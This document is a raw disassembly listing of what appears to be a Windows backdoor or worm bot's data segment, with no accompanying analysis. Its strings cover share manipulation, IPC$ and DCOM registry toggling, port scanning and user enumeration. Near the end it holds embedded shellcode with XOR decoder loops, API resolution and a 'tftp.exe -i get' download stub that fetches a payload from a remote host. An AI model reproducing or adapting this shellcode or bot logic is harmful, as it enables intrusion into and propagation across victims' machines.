aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412EF6:loc_413000o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_412EF6:loc_412FF9o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412EF6:loc_412FF2o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412EF6:loc_412FEBo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412EF6:loc_412FE4o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412EF6:loc_412FDDo
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412EF6:loc_412FD6o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412EF6:loc_412FCFo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412EF6:loc_412FA4o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412EF6:loc_412F9Do
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412EF6:loc_412F96o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412EF6:loc_412F8Fo
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412EF6+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412EF6:loc_412F64o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412EF6:loc_412F5Ao
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412EF6:loc_412F50o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412EF6:loc_412F46o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412EF6:loc_412F3Co
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_412EF6+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_413074+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_413074:loc_413140o
aStarting	db '   Starting',0      ; DATA XREF: sub_413074:loc_413139o
aStoping	db '    Stoping',0      ; DATA XREF: sub_413074:loc_413132o
aRunning_0	db '    Running',0      ; DATA XREF: sub_413074:loc_41312Bo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_413074:loc_413124o
aPausing	db '    Pausing',0      ; DATA XREF: sub_413074:loc_41311Do
aPaused_0	db '     Paused',0      ; DATA XREF: sub_413074:loc_413116o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_413074+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_413074+25o
		align 4
dword_436CA4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131B1+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_436CDC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131B1+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_436D0C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131B1+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133A6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4133A6+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4133A6+B5o
dword_436D6C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4133A6+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4133A6+26o
		align 10h
dword_436DE0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134C7+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_436E1C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134C7+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436E5C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134C7+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 10h
dword_436E90	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_41360D+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_41360D+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_41360D+33Fo
		align 10h
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41360D+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_41360D+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_41360D+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_41360D+299o
		align 10h
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_41360D+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_41360D+246o
		align 10h
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_41360D+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_41360D+1F3o
		align 10h
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_41360D+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_41360D+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_41360D+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_41360D+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_41360D+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_41360D:loc_413726o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_41360D:loc_41371Fo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_41360D+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_41360D+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_41360D+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_41360D+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4139DB+14Fo
		align 10h
dword_437050	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139DB+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_5		db '  %S',0             ; DATA XREF: sub_4139DB+BEo
		align 4
dword_437098	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139DB+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4139DB+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_413B5B:loc_413C78o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_413B5B:loc_413C71o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_413B5B:loc_413C6Ao
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_413B5B:loc_413C63o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_413B5B:loc_413C5Co
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_413B5B:loc_413C3Fo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_413B5B:loc_413C38o
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_413B5B:loc_413C31o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_413B5B+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_413B5B:loc_413C06o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B5B:loc_413BFFo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_413B5B:loc_413BF8o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B5B:loc_413BEEo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_413B5B+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_413B5B:loc_413BC8o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_413B5B:loc_413BBEo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_413B5B:loc_413BB4o
		align 10h
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_413B5B:loc_413BAAo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_413B5B:loc_413BA0o
		align 10h
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_413B5B+3Bo
		align 4
dword_4373B4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413C8F+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_4373F0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413C8F+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413DB8+120o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DB8+5Ao
					; sub_413DB8+19Eo
		align 4
dword_43744C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F69:loc_413FF0o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_437484	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F69:loc_413FE9o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 10h
dword_4374C0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F69+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 10h
		dd 0
dword_437504	dd 1			; DATA XREF: sub_414419+7o
off_437508	dd offset sub_4140AE	; DATA XREF: sub_414419+49r
aLetter		db 'letter',0
		align 8
		dd 2, 41410Ch, 706D6F63h, 2 dup(0)
		dd 3, 414159h, 6E756F63h, 797274h, 0
		dd 4, 4141F7h, 736Fh, 2	dup(0)
		dd 5, 41426Ch
dword_43755C	dd 69257325h, 0		; DATA XREF: sub_4140AE+40o
					; seg000:004141D8o ...
dword_437564	dd 4350h		; DATA XREF: seg000:0041417Bo
dword_437568	dd 7C7325h		; DATA XREF: seg000:00414226o
					; sub_414419+39o
dword_43756C	dd 5D73255Bh, 7Ch	; DATA XREF: seg000:00414330o
dword_437574	dd 334B32h		; DATA XREF: seg000:00414320o
dword_437578	dd 5D64255Bh, 7325h	; DATA XREF: sub_414376+3Ao
dword_437580	dd 5D4D5Bh		; DATA XREF: sub_414376+2Co
					; sub_414376+57o
unk_437584	db    2			; DATA XREF: sub_414482+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_437600	dd offset dword_437638	; DATA XREF: seg000:00414853o
					; sub_4149C4+17Ao
		align 8
		dd offset dword_437630
		align 10h
off_437610	dd offset dword_43762C	; DATA XREF: sub_4149C4+1E3o
		dd offset dword_437628
		dd offset dword_437624
		dd offset dword_437620
dword_437620	dd 5C3A44h		; DATA XREF: seg000:004148B7o
					; seg002:0043761Co
dword_437624	dd 2444h		; DATA XREF: seg002:00437618o
dword_437628	dd 5C3A43h		; DATA XREF: seg002:00437614o
dword_43762C	dd 2443h		; DATA XREF: seg002:off_437610o
dword_437630	dd 494D4441h, 244Eh	; DATA XREF: seg002:00437608o
dword_437638	dd 24435049h, 0		; DATA XREF: seg002:off_437600o
unk_437640	db    2			; DATA XREF: seg000:00414985o
					; sub_4149C4+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_437684	db    2			; DATA XREF: seg000:0041496Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 10h
unk_4376C0	db    2			; DATA XREF: seg000:loc_414902o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 10h
unk_437700	db    2			; DATA XREF: seg000:004148FBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_437738	db    2			; DATA XREF: seg000:loc_41486Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_437778	db    2			; DATA XREF: seg000:00414868o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 10h
unk_4377B0	db    2			; DATA XREF: seg000:loc_4147D2o
					; sub_4149C4:loc_414AF2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_4377F4	db    2			; DATA XREF: seg000:loc_4147CBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_437844	db    2			; DATA XREF: seg000:loc_4147ADo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_43788C	db    2			; DATA XREF: seg000:004147A6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: seg000:0041478Do
					; sub_4149C4+EDo
		align 10h
unk_4378F0	db    2			; DATA XREF: seg000:00414731o
					; sub_4149C4+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_437934	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: seg000:loc_41470Do
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_437964	db    2			; DATA XREF: seg000:00414706o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: seg000:004146F4o
					; sub_4149C4+54o
		align 4
word_4379A8	dw 4Eh			; DATA XREF: seg000:004146D8r
		align 4
unk_4379AC	db    2			; DATA XREF: sub_4149C4+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_4149C4+22Ao
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_4149C4+219o
unk_4379F0	db    2			; DATA XREF: sub_4149C4:loc_414B63o
					; sub_4149C4:loc_414C31o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_437A2C	db    2			; DATA XREF: sub_4149C4+198o
					; sub_4149C4+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_437A60	db    2			; DATA XREF: sub_4149C4:loc_414AEBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 10h
unk_437AB0	db    2			; DATA XREF: sub_4149C4:loc_414ACDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_437AF8	db    2			; DATA XREF: sub_4149C4+102o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B48	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4149C4:loc_414A31o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6E65204Dh
		dd 656C6261h, 2E64h
unk_437B78	db    2			; DATA XREF: sub_4149C4+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 10h
word_437BB0	dw 59h			; DATA XREF: sub_4149C4+38r
		align 4


loc_437BB4:				; DATA XREF: sub_414E72+C4o
		jmp	short loc_437BB8
; ---------------------------------------------------------------------------


loc_437BB6:				; CODE XREF: seg002:loc_437BB8p
		jmp	short loc_437BBD
; ---------------------------------------------------------------------------


loc_437BB8:				; CODE XREF: seg002:loc_437BB4j
		call	loc_437BB6


loc_437BBD:				; CODE XREF: seg002:loc_437BB6j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_437BC2	dw 0FFFFh		; DATA XREF: sub_414E72+CCw
		db 80h,	73h, 0Eh
byte_437BC7	db 0FFh			; DATA XREF: sub_414E72+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_437BCC:				; DATA XREF: sub_414E72+A2o
		jmp	short loc_437BD0
; ---------------------------------------------------------------------------


loc_437BCE:				; CODE XREF: seg002:loc_437BD0p
		jmp	short loc_437BD5
; ---------------------------------------------------------------------------


loc_437BD0:				; CODE XREF: seg002:loc_437BCCj
		call	loc_437BCE


loc_437BD5:				; CODE XREF: seg002:loc_437BCEj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_437BD9	db 0FFh			; DATA XREF: sub_414E72+AAw
		dw 7380h
		db 0Ch
byte_437BDD	db 0FFh			; DATA XREF: sub_414E72+B0w
		dw 0E243h
		dd 0F9h
dword_437BE4	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_414CFB+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437C48	dd 12h			; DATA XREF: sub_414CFB+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_414CFB+79o
aJ_0		db 'j',0
		db 0E8h
dword_437C61	dd 17h			; DATA XREF: sub_414CFB+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_437C68
		retn
; ---------------------------------------------------------------------------
byte_437C68	db 0E8h			; CODE XREF: seg002:00437C65j
dword_437C69	dd 1			; DATA XREF: sub_414CFB+45w
byte_437C6D	db 0, 6Ah, 0		; DATA XREF: sub_414CFB+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_437C77	dd 0FFFFFFEDh		; DATA XREF: sub_414CFB+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_415207+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415207+35o
dword_437CF8	dd 1			; DATA XREF: sub_41551F+4w sub_415529r ...
		align 10h
dword_437D00	dd 173Fh		; DATA XREF: sub_415E4C+Dr
		dd 9875h, 9873h
off_437D0C	dd offset sub_415F1B	; DATA XREF: seg000:004177DAr
		dd offset nullsub_2
		dd offset nullsub_2
dword_437D18	dd 1B3Fh		; DATA XREF: sub_415F93+Dr
dword_437D1C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_416415+2o
					; sub_41641E+2o
off_437D30	dd offset sub_417818	; DATA XREF: sub_417BCE+1Cr
dword_437D34	dd 2			; DATA XREF: sub_41CEC0+Er
					; sub_41CEF9+46r ...
off_437D38	dd offset aNull_0	; DATA XREF: sub_417D2C:loc_418090r
					; sub_417D2C+457r
					; "(null)"
off_437D3C	dd offset aNull		; DATA XREF: sub_417D2C+259r
					; "(null)"
off_437D40	dd offset word_437D4A	; DATA XREF: sub_4159B4+23r
					; sub_4159B4:loc_415A15r ...
		dd offset word_437D4A
		db 2 dup(0)
word_437D4A	dw 20h			; DATA XREF: sub_41E69D+18r
					; seg002:off_437D40o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
